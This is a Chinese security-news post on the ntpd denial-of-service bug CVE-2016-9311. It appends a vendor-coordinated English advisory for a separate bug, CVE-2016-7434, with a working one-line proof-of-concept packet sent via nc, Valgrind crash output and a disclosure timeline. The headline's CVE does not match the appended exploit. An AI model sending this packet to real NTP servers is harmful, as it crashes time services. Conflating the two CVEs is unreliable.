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NTP 漏洞可致 Windows 系统触发 DoS(含POC)


研究人员发布了针对 CVE-2016-9311 漏洞的 PoC,这个漏洞能够导致 NTP 守护进程崩溃,并且触发 Windows 系统拒绝服务。NTP 协议能被黑客利用。NTP 是一种广泛用于时钟同步的协议,这种协议能够在多个系统同步时间.

本周,网络时间基金会修复了一个漏洞,编号为 CVE-2016-9311 影响了 NTP.org发布的众多 nptd ,版本号为 4.2.8p9 之前,4.3.94 除外。

NTP.org,ntpd 没有默认开启 trap 服务,如果trap被开启,该漏洞能够让未授权的用户通过特别构造的数据包导致空指针引、ntpd 崩溃,进而导致服务器拒绝服务。这个漏洞只影响 Windows 服务器。

由于 PoC 代码已经流出,请管理员们立即给NTP打上补丁。

稿源:Freebuf,封面来源:百度搜索

 

from hackernews.cc.thanks for it.

拓展阅读(点评/知识):

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

CVE-2016-7434 ntpd remote pre-auth Denial of Service

+----------------------------------------------------------------------------------------------+
Affected: ntp-4.2.7p22, up to but not including ntp-4.2.8p9,
          and ntp-4.3.0 up to, but not including ntp-4.3.94
Credit: Magnus Klaaborg Stubman (@magnusstubman)
Bug report: http://bugs.ntp.org/show_bug.cgi?id=3082

The vulnerability allow unauthenticated users to crash ntpd with
a single malformed UDP packet, which cause a null pointer dereference.


+-Proof of concept exploit---------------------------------------------------------------------+
| echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"                                |
| "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123               |
+-------------------------------------------+-----------+--------------------------------------+


+-Valgrind report------------------------------------------------------------------------------+
| $ sudo valgrind ./ntpd/ntpd -n  -c ~/resources/ntp.conf                                      |
| ==5389== Memcheck, a memory error detector                                                   |
| ==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.                     |
| ==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info                  |
| ==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf                            |
| ==5389==                                                                                     |
| 25 Jun 23:07:05 ntpd[5389]: ntpd [email protected] Sat Jun 25 20:50:30 UTC 2016 (1): Starting |
| 25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf    |
| 25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18)                              |
| 25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null                              |
| 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 ^6wildcard [::]:123                         |
| 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123                      |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123                            |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123                          |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123                          |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123                      |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123                                |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 [fe80::f2de:f1ff:fe85:75cf%2]:123      |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 [fe80::a450:8eff:fecc:9c4%3]:123       |
| 25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface updates      |
| ==5389== Invalid read of size 1                                                              |
| ==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)                                   |
| ==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)                                        |
| ==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)                                  |
| ==5389==    by 0x42BB09: receive (ntp_proto.c:659)                                           |
| ==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)                                              |
| ==5389==    by 0x405A58: main (ntpd.c:392)                                                   |
| ==5389==  Address 0x0 is not stack'd, malloc'd or (recently) free'd                          |
| ==5389==                                                                                     |
| ==5389==                                                                                     |
| ==5389== Process terminating with default action of signal 11 (SIGSEGV)                      |
| ==5389==  Access not within mapped region at address 0x0                                     |
| ==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)                                   |
| ==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)                                        |
| ==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)                                  |
| ==5389==    by 0x42BB09: receive (ntp_proto.c:659)                                           |
| ==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)                                              |
| ==5389==    by 0x405A58: main (ntpd.c:392)                                                   |
| ==5389==  If you believe this happened as a result of a stack                                |
| ==5389==  overflow in your program's main thread (unlikely but                               |
| ==5389==  possible), you can try to increase the size of the                                 |
| ==5389==  main thread stack using the --main-stacksize= flag.                                |
| ==5389==  The main thread stack size used in this run was 204800.                            |
| ==5389==                                                                                     |
| ==5389== HEAP SUMMARY:                                                                       |
| ==5389==     in use at exit: 122,458 bytes in 2,707 blocks                                   |
| ==5389==   total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated                |
| ==5389==                                                                                     |
| ==5389== LEAK SUMMARY:                                                                       |
| ==5389==    definitely lost: 0 bytes in 0 blocks                                             |
| ==5389==    indirectly lost: 0 bytes in 0 blocks                                             |
| ==5389==      possibly lost: 2,000 bytes in 2 blocks                                         |
| ==5389==    still reachable: 120,458 bytes in 2,705 blocks                                   |
| ==5389==         suppressed: 0 bytes in 0 blocks                                             |
| ==5389== Rerun with --leak-check=full to see details of leaked memory                        |
| ==5389==                                                                                     |
| ==5389== For counts of detected and suppressed errors, rerun with: ->                        |
| ==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)                      |
+----------------------------------------------------------------------------------------------+

+-ntp.conf-------------------------------------------------------------------------------------+
| server 127.127.1.0 prefer                                                                    |
| fudge  127.127.1.0 stratum 10                                                                |
| driftfile /var/lib/ntp/drift                                                                 |
| broadcastdelay 0.008                                                                         |
|                                                                                              |
| logfile /dev/null                                                                            |
|                                                                                              |
| restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap                                      |
+----------------------------------------------------------------------------------------------+

+-Timeline-------------------------------------------------------------------------------------+
| 2016-06-24 Discovery                                                                         |
| 2016-06-26 Vendor notification                                                               |
| 2016-06-26 Vendor acknowledge that the report has been received                              |
| 2016-06-28 Vendor confirms the issue                                                         |
| 2016-09-29 Vendor provides patch for verification                                            |
| 2016-10-01 Researcher acknowledge that the patch mitigates the issue                         |
| 2016-11-21 Public disclosure                                                                 |
+----------------------------------------------------------------------------------------------+



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本文标题:NTP 漏洞可致 Windows 系统触发 DoS(含POC)
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